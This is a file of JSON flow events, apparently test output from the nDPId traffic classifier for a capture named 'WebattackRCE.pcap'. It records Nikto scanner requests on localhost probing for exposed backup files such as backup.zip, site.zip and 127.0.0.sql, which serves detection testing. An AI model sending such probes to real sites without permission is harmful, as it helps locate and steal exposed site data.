+00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":199,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1576420276982,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49942,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00620{"flow_id":199,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":199,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":982120,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC98llAAEAGSd9\/AAABfwAAAcMWH5DjKcoLls+qsoAYAED+sQAAAQEICp1m\/B6dZvwdR0VUIC8xLmFseiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":199,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":199,"flow_packet_id":1,"flow_first_seen":1576420276982,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49942,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":200,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1576420276983,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49944,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00621{"flow_id":200,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":200,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":983627,"pkt_caplen":203,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":203,"pkt_l4_len":169,"pkt":"AAAAAAAAAAAAAAAACABFAAC9nNlAAEAGn19\/AAABfwAAAcMYH5CM06SLK3vm\/IAYAED+sQAAAQEICp1m\/B+dZvwfR0VUIC8xLmFseiBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00757{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":200,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":200,"flow_packet_id":1,"flow_first_seen":1576420276983,"flow_last_seen":0,"flow_tot_l4_data_len":169,"flow_min_l4_data_len":169,"flow_max_l4_data_len":169,"flow_avg_l4_data_len":169,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49944,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/1.alz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":201,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1576420276985,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49946,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":201,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":201,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":985128,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADCh5hAAEAGtJt\/AAABfwAAAcMaH5DK+b\/J7Nxpa4AYAED+tgAAAQEICp1m\/CGdZvwgR0VUIC9iYWNrdXAuemlwIEhUVFAvMS4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":201,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":201,"flow_packet_id":1,"flow_first_seen":1576420276985,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49946,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":202,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1576420276986,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49948,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":202,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":202,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":986549,"pkt_caplen":208,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":208,"pkt_l4_len":174,"pkt":"AAAAAAAAAAAAAAAACABFAADC6rNAAEAGUYB\/AAABfwAAAcMcH5BJJNLw4gK1PYAYAED+tgAAAQEICp1m\/CKdZvwiR0VUIC9iYWNrdXAuemlwIEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQoNCg=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":202,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":202,"flow_packet_id":1,"flow_first_seen":1576420276986,"flow_last_seen":0,"flow_tot_l4_data_len":174,"flow_min_l4_data_len":174,"flow_max_l4_data_len":174,"flow_avg_l4_data_len":174,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49948,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/backup.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":203,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1576420276987,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49950,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":203,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":203,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":987889,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADABtBAAEAGNWZ\/AAABfwAAAcMeH5DVkj6SMBYRsYAYAED+tAAAAQEICp1m\/COdZvwjR0VUIC9zaXRlLnppcCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":203,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":203,"flow_packet_id":1,"flow_first_seen":1576420276987,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49950,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":204,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1576420276989,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49952,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":204,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":204,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":989380,"pkt_caplen":206,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":206,"pkt_l4_len":172,"pkt":"AAAAAAAAAAAAAAAACABFAADAb4pAAEAGzKt\/AAABfwAAAcMgH5DktVfY9BOJ1YAYAED+tAAAAQEICp1m\/CWdZvwlR0VUIC9zaXRlLnppcCBIVFRQLzEuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":204,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":204,"flow_packet_id":1,"flow_first_seen":1576420276989,"flow_last_seen":0,"flow_tot_l4_data_len":172,"flow_min_l4_data_len":172,"flow_max_l4_data_len":172,"flow_avg_l4_data_len":172,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49952,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/site.zip","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":205,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1576420276990,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49954,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":205,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":990805,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGkTtAAEAGqvR\/AAABfwAAAcMiH5BqAalni+2D0IAYAED+ugAAAQEICp1m\/CadZvwmR0VUIC8xMjcuMC4wLnRhci5neiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":205,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":205,"flow_packet_id":1,"flow_first_seen":1576420276990,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49954,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":206,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1576420276992,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49956,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":206,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":206,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":992188,"pkt_caplen":212,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":212,"pkt_l4_len":178,"pkt":"AAAAAAAAAAAAAAAACABFAADGaPFAAEAG0z5\/AAABfwAAAcMkH5B8x1CQWvOvzIAYAED+ugAAAQEICp1m\/CidZvwoR0VUIC8xMjcuMC4wLnRhci5neiBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KDQo="} +00766{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":206,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":206,"flow_packet_id":1,"flow_first_seen":1576420276992,"flow_last_seen":0,"flow_tot_l4_data_len":178,"flow_min_l4_data_len":178,"flow_max_l4_data_len":178,"flow_avg_l4_data_len":178,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49956,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.tar.gz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":207,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1576420276993,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49958,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":207,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":993419,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFOFRAAEAGA91\/AAABfwAAAcMmH5DTogAzSwYGfYAYAED+uQAAAQEICp1m\/CmdZvwpR0VUIC8xMjdfMF8wXzEudGd6IEhUVFAvMS4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KSG9zdDogMTI3LjAuMC4xDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":207,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":207,"flow_packet_id":1,"flow_first_seen":1576420276993,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49958,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":208,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1576420276995,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49960,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00632{"flow_id":208,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":995700,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"AAAAAAAAAAAAAAAACABFAADFLPBAAEAGD0F\/AAABfwAAAcMoH5DgsBSPBaIHeIAYAED+uQAAAQEICp1m\/CudZvwrR0VUIC8xMjdfMF8wXzEudGd6IEhUVFAvMS4xDQpIb3N0OiAxMjcuMC4wLjENCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wMCAoTmlrdG8vMi4xLjYpIChFdmFzaW9uczpOb25lKSAoVGVzdDpzaXRlZmlsZXMpDQoNCg=="} +00765{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":208,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":208,"flow_packet_id":1,"flow_first_seen":1576420276995,"flow_last_seen":0,"flow_tot_l4_data_len":177,"flow_min_l4_data_len":177,"flow_max_l4_data_len":177,"flow_avg_l4_data_len":177,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49960,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127_0_0_1.tgz","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":209,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1576420276996,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49962,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":209,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":209,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":996847,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADD0zFAAEAGaQF\/AAABfwAAAcMqH5Dy3etP7K3wrYAYAED+twAAAQEICp1m\/CydZvwsR0VUIC8xMjcuMC4wLnNxbCBIVFRQLzEuMQ0KSG9zdDogMTI3LjAuMC4xDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMDAgKE5pa3RvLzIuMS42KSAoRXZhc2lvbnM6Tm9uZSkgKFRlc3Q6c2l0ZWZpbGVzKQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":209,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":209,"flow_packet_id":1,"flow_first_seen":1576420276996,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49962,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":210,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1576420276998,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49964,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00628{"flow_id":210,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":210,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":998060,"pkt_caplen":209,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":209,"pkt_l4_len":175,"pkt":"AAAAAAAAAAAAAAAACABFAADDYPVAAEAG2z1\/AAABfwAAAcMsH5ARV1iTIbZBJoAYAED+twAAAQEICp1m\/C2dZvwtR0VUIC8xMjcuMC4wLnNxbCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkhvc3Q6IDEyNy4wLjAuMQ0KDQo="} +00763{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":210,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":210,"flow_packet_id":1,"flow_first_seen":1576420276998,"flow_last_seen":0,"flow_tot_l4_data_len":175,"flow_min_l4_data_len":175,"flow_max_l4_data_len":175,"flow_avg_l4_data_len":175,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49964,"dst_port":8080,"l4_proto":"tcp","ndpi": {"flow_risk": {"5":"Known protocol on non standard port","12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"127.0.0.1","url":"127.0.0.1\/127.0.0.sql","code":0,"content_type":"","user_agent":"Mozilla\/5.00 (Nikto\/2.1.6) (Evasions:None) (Test:sitefiles)"}} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":211,"source":"WebattackRCE.pcap","alias":"nDPId-test","flow_id":211,"flow_packet_id":1,"flow_first_seen":1576420276999,"flow_last_seen":0,"flow_tot_l4_data_len":173,"flow_min_l4_data_len":173,"flow_max_l4_data_len":173,"flow_avg_l4_data_len":173,"midstream":1,"l3_proto":"ip4","src_ip":"127.0.0.1","dst_ip":"127.0.0.1","src_port":49966,"dst_port":8080,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00624{"flow_id":211,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":211,"source":"WebattackRCE.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1576420276,"pkt_ts_usec":999210,"pkt_caplen":207,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":207,"pkt_l4_len":173,"pkt":"AAAAAAAAAAAAAAAACABFAADByvVAAEAGcT9\/AAABfwAAAcMuH5AHevKTkcnpoIAYAED+tQAAAQEICp1m\/C+dZvwvR0VUIC8xMjcwMC50YXIgSFRUUC8xLjENCkhvc3Q6IDEyNy4wLjAuMQ0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KVXNlci1BZ2VudDogTW96aWxsYS81LjAwIChOaWt0by8yLjEuNikgKEV2YXNpb25zOk5vbmUpIChUZXN0OnNpdGVmaWxlcykNCg0K"} 